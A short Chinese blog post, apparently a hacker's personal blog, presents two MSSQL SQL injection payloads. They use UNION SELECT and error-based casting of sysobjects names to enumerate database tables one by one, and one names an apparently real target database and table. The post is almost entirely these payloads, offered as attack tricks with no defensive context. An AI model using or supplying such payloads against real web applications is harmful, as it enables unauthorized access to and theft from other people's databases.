MSSQL注入技巧两则

  • A+
所属分类:颓废's Blog
摘要

2011年研究得出的爆表技巧 //爆破表语句 Feihacker’ union select top 1 table_name from information_schema.tables where (select top 3 cast(name as varchar(526)) from (select top 1 id,name from [数据库名].[dbo].sysobjects where xtype=char(85) and status>=0 order by id)t order by id desc)=0– //爆破所有表 在not in 里面换表名 一个一个爆破 Feihacker’ union select top 1 table_name from information_schema.tables where (select top 1 cast(name as varchar(526)) from (select top 1 name from [数据库名].[dbo].sysobjects where xtype=char(85)and status>=0 and name not in (select name from [jinluvip].[dbo].sysobjects where xtype=char(85) and status>=0 and name =’BonusPeriod’ ))t )=0–

2011年研究得出的爆表技巧

//爆破表语句 Feihacker' union select top 1 table_name from information_schema.tables where (select top 3 cast(name as varchar(526)) from (select top 1 id,name from [数据库名].[dbo].sysobjects where xtype=char(85) and status>=0 order by id)t order by id desc)=0-- 
//爆破所有表 在not in 里面换表名 一个一个爆破   Feihacker' union select top 1 table_name from information_schema.tables where  (select top 1 cast(name as varchar(526)) from (select top 1 name from [数据库名].[dbo].sysobjects where xtype=char(85)and status>=0 and name not in (select name from [jinluvip].[dbo].sysobjects where xtype=char(85) and status>=0 and name ='BonusPeriod' ))t )=0--

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: